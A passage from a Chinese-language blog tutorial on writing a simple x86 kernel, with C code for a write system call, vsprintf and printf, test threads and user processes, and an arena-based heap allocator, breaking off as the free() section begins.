class="line">&#125;</span><br></pre></td></tr></table></figure><p>添加处理程序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">uint32_t</span> sys_write(<span class="keyword">char</span> *str)</span><br><span class="line">&#123;</span><br><span class="line">    console_put_str(str); <span class="comment">// 输出str</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">strlen</span>(str);   <span class="comment">// 返回str长度</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 初始化系统调用 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">syscall_init</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    put_str(<span class="string">"syscall_init start\n"</span>);</span><br><span class="line">    syscall_table[SYS_GETPID] = sys_getpid;</span><br><span class="line">    syscall_table[SYS_WRITE] = sys_write;</span><br><span class="line">    put_str(<span class="string">"syscall_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>printf原理是由write和vsprint组合，首先需要知道可变参数的原理，一般平时使用的函数，参数的个数都是已知的。函数占用的是静态内存，也就是说再编译期就要确定为其分配多大的空间。而对于可变参数则不一样，比如</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">printf</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *format, ...)</span></span>;</span><br></pre></td></tr></table></figure><p>不过调用printf的时候我们指定了format，根据format的内容其实也就确定了参数内容，比如一个%d就多一个参数。这样我们就可以通过遍历format中的字符，筛选出%号后的数据进行单独处理即可</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将参数ap按照格式format输出到字符串str,并返回替换后str长度 */</span></span><br><span class="line"><span class="keyword">uint32_t</span> <span class="built_in">vsprintf</span>(<span class="keyword">char</span>* str, <span class="keyword">const</span> <span class="keyword">char</span>* format, va_list ap) &#123;</span><br><span class="line">   <span class="keyword">char</span>* buf_ptr = str;</span><br><span class="line">   <span class="keyword">const</span> <span class="keyword">char</span>* index_ptr = format;</span><br><span class="line">   <span class="keyword">char</span> index_char = *index_ptr;</span><br><span class="line">   <span class="keyword">int32_t</span> arg_int;</span><br><span class="line">   <span class="keyword">while</span>(index_char) &#123; <span class="comment">// 循环遍历，筛选%字符</span></span><br><span class="line">      <span class="keyword">if</span> (index_char != <span class="string">'%'</span>) &#123;</span><br><span class="line"> *(buf_ptr++) = index_char;</span><br><span class="line"> index_char = *(++index_ptr);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      index_char = *(++index_ptr); <span class="comment">// 得到%后面的字符</span></span><br><span class="line">      <span class="keyword">switch</span>(index_char) &#123; <span class="comment">// 单独处理</span></span><br><span class="line">     <span class="keyword">case</span> <span class="string">'s'</span>:</span><br><span class="line">    arg_str = va_arg(ap, <span class="keyword">char</span>*);</span><br><span class="line">    <span class="built_in">strcpy</span>(buf_ptr, arg_str);</span><br><span class="line">    buf_ptr += <span class="built_in">strlen</span>(arg_str);</span><br><span class="line">    index_char = *(++index_ptr);</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'c'</span>:</span><br><span class="line">    *(buf_ptr++) = va_arg(ap, <span class="keyword">char</span>);</span><br><span class="line">    index_char = *(++index_ptr);</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'d'</span>:</span><br><span class="line">    arg_int = va_arg(ap, <span class="keyword">int</span>);</span><br><span class="line">      <span class="comment">/* 若是负数, 将其转为正数后,再正数前面输出个负号'-'. */</span></span><br><span class="line">    <span class="keyword">if</span> (arg_int &lt; <span class="number">0</span>) &#123;</span><br><span class="line">       arg_int = <span class="number">0</span> - arg_int;</span><br><span class="line">       *buf_ptr++ = <span class="string">'-'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    itoa(arg_int, &amp;buf_ptr, <span class="number">10</span>); </span><br><span class="line">    index_char = *(++index_ptr);</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">              </span><br><span class="line"> <span class="keyword">case</span> <span class="string">'x'</span>:</span><br><span class="line">    arg_int = va_arg(ap, <span class="keyword">int</span>);</span><br><span class="line">    itoa(arg_int, &amp;buf_ptr, <span class="number">16</span>); </span><br><span class="line">    index_char = *(++index_ptr); <span class="comment">// 跳过格式字符并更新index_char</span></span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="built_in">strlen</span>(str);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后就是printf的实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> va_start(ap, v) ap = (va_list)&amp;v  <span class="comment">// 把ap指向第一个固定参数v</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> va_arg(ap, t) *((t*)(ap += 4))  <span class="comment">// ap指向下一个参数并返回其值</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> va_end(ap) ap = NULL     <span class="comment">// 清除ap</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 格式化输出字符串format */</span></span><br><span class="line"><span class="keyword">uint32_t</span> <span class="built_in">printf</span>(<span class="keyword">const</span> <span class="keyword">char</span>* format, ...) &#123;</span><br><span class="line">   va_list args;</span><br><span class="line">   va_start(args, format);       <span class="comment">// 使args指向format</span></span><br><span class="line">   <span class="keyword">char</span> buf[<span class="number">1024</span>] = &#123;<span class="number">0</span>&#125;;       <span class="comment">// 用于存储拼接后的字符串</span></span><br><span class="line">   <span class="built_in">vsprintf</span>(buf, format, args);</span><br><span class="line">   va_end(args);</span><br><span class="line">   <span class="keyword">return</span> write(buf); </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们在main中重新测试一下效果</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"></span><br><span class="line">   process_execute(u_prog_a, <span class="string">"user_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"user_prog_b"</span>);</span><br><span class="line"></span><br><span class="line">   intr_enable();</span><br><span class="line">   console_put_str(<span class="string">" main_pid:0x"</span>);</span><br><span class="line">   console_put_int(sys_getpid());</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"argA "</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"argB "</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   console_put_str(<span class="string">" thread_a_pid:0x"</span>);</span><br><span class="line">   console_put_int(sys_getpid());</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   console_put_str(<span class="string">" thread_b_pid:0x"</span>);</span><br><span class="line">   console_put_int(sys_getpid());</span><br><span class="line">   console_put_char(<span class="string">'\n'</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_a</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">" prog_a_pid:0x%x\n"</span>, getpid());</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 测试用户进程 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">u_prog_b</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">" prog_b_pid:0x%x\n"</span>, getpid());</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/81.png" alt="image-20200611085701751"></p><h2 id="完善堆内存"><a href="#完善堆内存" class="headerlink" title="完善堆内存"></a>完善堆内存</h2><p>接下来我们需要重新实现malloc和free函数，虽然之前的内容中已经实现过内存分配的功能，但之前的内存管理模块中只是实现了内核空间的内存分配，而且每次分配的空间都是以页为单位，也就是只能分配页的整数倍的空间，我们需要优化使其能分配用户想要申请的大小。</p><h3 id="malloc"><a href="#malloc" class="headerlink" title="malloc"></a>malloc</h3><p>首先引入arena的概念，arena是一大块的内存被划分的多个小的内存块的内存仓库。按照内存块的大小，可以划分成不同规格的arena。比如一种arena中全是32byte的内存块，它就只相应32byte以下内存空间的分配。这一整块arena的大小同样是页的整数倍，按照申请内存空间的大小，这个arena可能是1页或者多页。其结构由两部分组成，一是这块内存的元信息，用来描述这个arena中剩余的内存块，二是内存池区域，里面就是多个大小相同的内存块。</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/82.png" alt="image-20200611085701751" style="zoom:50%;"></p><p>当一块arena大小的内存分配完的时候，也就是该arena中的所有mem_block都分配出去了，就需要新增一个与之前arena规格相同的arena来满足内存的需求，那么这些相同规格arena之前同样需要一个结构来进行管理，这个结构用来记录arena的规格以及同规格arena中所有空闲内存块链表，也称为内存块描述符。</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/83.png" alt="image-20200611085701751"></p><p>当申请的内存大于1024byte时，arena中的元信息就为NULL，剩下的所有空间合为一个mem_block，也就是说只有一个为NULL的元信息和一块大内存。我们将arena划分为7种规格大小，分别为16byte, 32byte, 64byte, …. 1024byte。一个arena一般占用1页也就是4096byte，假设arena中的元信息在设计中它会占用12byte大小，对于规格为16byte的arena来说，它有(4096 - 12) / 16 = 255个内存块，有4byte的空间被浪费。</p><p>下面进行具体实现，修改memory.h文件</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 内存块 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mem_block</span> &#123;</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span> <span class="title">free_elem</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 内存块描述符 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mem_block_desc</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_size; <span class="comment">// 内存块大小</span></span><br><span class="line">   <span class="keyword">uint32_t</span> blocks_per_arena; <span class="comment">// 本arena中可容纳此mem_block的数量.</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list</span> <span class="title">free_list</span>;</span> <span class="comment">// 目前可用的mem_block链表</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> DESC_CNT 7   <span class="comment">// 内存块描述符个数</span></span></span><br></pre></td></tr></table></figure><p>初始化在.c文件中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 内存仓库arena元信息 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">arena</span> &#123;</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">mem_block_desc</span>* <span class="title">desc</span>;</span> <span class="comment">// 此arena关联的mem_block_desc</span></span><br><span class="line"><span class="comment">/* large为ture时,cnt表示的是页框数。</span></span><br><span class="line"><span class="comment"> * 否则cnt表示空闲mem_block数量 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> cnt;</span><br><span class="line">   <span class="keyword">bool</span> large;   </span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mem_block_desc</span> <span class="title">k_block_descs</span>[<span class="title">DESC_CNT</span>];</span><span class="comment">// 内核内存块描述符数组</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">pool</span> <span class="title">kernel_pool</span>, <span class="title">user_pool</span>;</span>      <span class="comment">// 生成内核内存池和用户内存池</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtual_addr</span> <span class="title">kernel_vaddr</span>;</span> <span class="comment">// 此结构是用来给内核分配虚拟地址</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 为malloc做准备 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">block_desc_init</span><span class="params">(struct mem_block_desc* desc_array)</span> </span>&#123;   </span><br><span class="line">   <span class="keyword">uint16_t</span> desc_idx, block_size = <span class="number">16</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 初始化每个mem_block_desc描述符 */</span></span><br><span class="line">   <span class="keyword">for</span> (desc_idx = <span class="number">0</span>; desc_idx &lt; DESC_CNT; desc_idx++) &#123;</span><br><span class="line">      desc_array[desc_idx].block_size = block_size;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 初始化arena中的内存块数量 */</span></span><br><span class="line">      desc_array[desc_idx].blocks_per_arena = (PG_SIZE - <span class="keyword">sizeof</span>(struct arena)) / block_size;  </span><br><span class="line"></span><br><span class="line">      list_init(&amp;desc_array[desc_idx].free_list);</span><br><span class="line"></span><br><span class="line">      block_size *= <span class="number">2</span>;         <span class="comment">// 更新为下一个规格内存块</span></span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 内存管理部分初始化入口 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mem_init</span><span class="params">()</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"mem_init start\n"</span>);</span><br><span class="line">   <span class="keyword">uint32_t</span> mem_bytes_total = (*(<span class="keyword">uint32_t</span>*)(<span class="number">0xb00</span>));</span><br><span class="line">   mem_pool_init(mem_bytes_total);  <span class="comment">// 初始化内存池</span></span><br><span class="line"><span class="comment">/* 初始化mem_block_desc数组descs,为malloc做准备 */</span></span><br><span class="line">   block_desc_init(k_block_descs);</span><br><span class="line">   put_str(<span class="string">"mem_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面实现sys_malloc，该函数就是在堆上分配指定大小的空间。这也是malloc的底层实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 堆中申请size字节</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">sys_malloc</span><span class="params">(<span class="keyword">uint32_t</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">enum</span> pool_flags pf;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">pool</span> *<span class="title">mem_pool</span>;</span></span><br><span class="line">    <span class="keyword">uint32_t</span> pool_size;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">mem_block_desc</span> *<span class="title">descs</span>;</span></span><br><span class="line">    task_struct *cur_thread = running_thread();</span><br><span class="line">    <span class="comment">// 判断是内核还是用户进程需要分配空间</span></span><br><span class="line">    <span class="keyword">if</span>(cur_thread-&gt;pgdir == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        pf = PF_KERNEL;</span><br><span class="line">        pool_size = kernel_pool.pool_size;</span><br><span class="line">        mem_pool = &amp;kernel_pool;</span><br><span class="line">        descs = k_block_descs;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        pf = PF_USER;</span><br><span class="line">        pool_size = user_pool.pool_size;</span><br><span class="line">        mem_pool = &amp;user_pool;</span><br><span class="line">        descs = cur_thread-&gt;u_block_desc;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(!(size &gt; <span class="number">0</span> &amp;&amp; size &lt; pool_size))</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">arena</span> *<span class="title">a</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">mem_block</span> *<span class="title">b</span>;</span></span><br><span class="line">    lock_acquire(&amp;mem_pool-&gt;lock);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 处理大内存分配的情况，直接分配。</span></span><br><span class="line">    <span class="comment">// 分配的大小对4096向上取整</span></span><br><span class="line">    <span class="keyword">if</span>(size &gt; <span class="number">1024</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">uint32_t</span> page_cnt = DIV_ROUND_UP(size + <span class="keyword">sizeof</span>(struct arena), PG_SIZE);</span><br><span class="line"></span><br><span class="line">        a = malloc_page(pf, page_cnt); <span class="comment">// 从堆中创建arena</span></span><br><span class="line">        <span class="keyword">if</span> (a != <span class="literal">NULL</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="built_in">memset</span>(a, <span class="number">0</span>, page_cnt * PG_SIZE);</span><br><span class="line"></span><br><span class="line">            a-&gt;desc = <span class="literal">NULL</span>;</span><br><span class="line">            a-&gt;cnt = page_cnt;</span><br><span class="line">            a-&gt;large = <span class="literal">true</span>;</span><br><span class="line">            lock_release(&amp;mem_pool-&gt;lock);</span><br><span class="line">            <span class="keyword">return</span> (<span class="keyword">void</span> *)(a + <span class="number">1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            lock_release(&amp;mem_pool-&gt;lock);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 小内存的分配情况</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">int</span> desc_idx = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 找到使用哪种规格的内存描述符</span></span><br><span class="line">        <span class="keyword">for</span> (; desc_idx &lt; DESC_CNT; ++desc_idx)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span>(size &lt;= descs[desc_idx].block_size)</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 该内存块描述符中的arena为空时，首先为其分配arena</span></span><br><span class="line">        <span class="comment">// 然后会将该arena根据其描述符中的规格大小进行内存块的划分</span></span><br><span class="line">        <span class="comment">// 划分的过程主要是通过arena2block这个函数对arena中的地址进行转换，使其指向下一个内存块所在的首地址，最后添加到链表中</span></span><br><span class="line">        <span class="keyword">if</span> (list_empty(&amp;descs[desc_idx].free_list))</span><br><span class="line">        &#123;</span><br><span class="line">            a = malloc_page(pf, <span class="number">1</span>); <span class="comment">// 无合适大小，新创建arena</span></span><br><span class="line">            <span class="keyword">if</span>(a == <span class="literal">NULL</span>)</span><br><span class="line">            &#123;</span><br><span class="line">                lock_release(&amp;mem_pool-&gt;lock);</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// 初始化</span></span><br><span class="line">            <span class="built_in">memset</span>(a, <span class="number">0</span>, PG_SIZE);</span><br><span class="line"></span><br><span class="line">            a-&gt;desc = &amp;descs[desc_idx];</span><br><span class="line">            a-&gt;cnt = descs[desc_idx].blocks_per_arena;</span><br><span class="line">            a-&gt;large = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line"></span><br><span class="line">            <span class="keyword">uint32_t</span> block_idx = <span class="number">0</span>;</span><br><span class="line">            <span class="comment">// arena拆分成内存块，并添加到内存块描述符的free_list中</span></span><br><span class="line">            <span class="keyword">for</span> (; block_idx &lt; descs[desc_idx].blocks_per_arena; ++block_idx)</span><br><span class="line">            &#123;</span><br><span class="line">                b = arena2block(a, block_idx);</span><br><span class="line">                ASSERT(!elem_find(&amp;a-&gt;desc-&gt;free_list, &amp;b-&gt;free_elem));</span><br><span class="line">                list_append(&amp;a-&gt;desc-&gt;free_list, &amp;b-&gt;free_elem);</span><br><span class="line">            &#125;</span><br><span class="line">            intr_set_status(old_status);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 有空闲的内存块之后找到该内存块相对于arena的偏移地址，该地址便为分配到的空间的首地址</span></span><br><span class="line">        b = elem2entry(struct mem_block, free_elem, list_pop(&amp;descs[desc_idx].free_list)); <span class="comment">// 转换地址</span></span><br><span class="line">        <span class="built_in">memset</span>(b, <span class="number">0</span>, descs[desc_idx].block_size);</span><br><span class="line">        a = block2arena(b); <span class="comment">// 获取内存块所在的arena</span></span><br><span class="line">        a-&gt;cnt--; <span class="comment">// 将此arena中的空闲内存块数减一</span></span><br><span class="line">        lock_release(&amp;mem_pool-&gt;lock);</span><br><span class="line">        <span class="keyword">return</span> (<span class="keyword">void</span> *)b;    </span><br><span class="line">    &#125; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="free"><a href="#free" class="headerlink" title="free"></a>free</h3><p>释放内存和分配内存过程相反，首先看一下申请的过程：</p><ol><li>在虚拟地址池中分配虚拟地址</li><li>在物理内存池中分配物理地址</li><li>在页表中完成虚拟地址到物理地址的映射</li></ol><p>与之相反的释放的过程如下：</p><ol><li>在物理地址池中释放物理地址</li><li>在页表中去除虚拟地址的映射，原理是将pte中的P位置0</li><li>在虚拟地址池中释放虚拟地址</li></ol><p>具体实现也在memory文件中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span 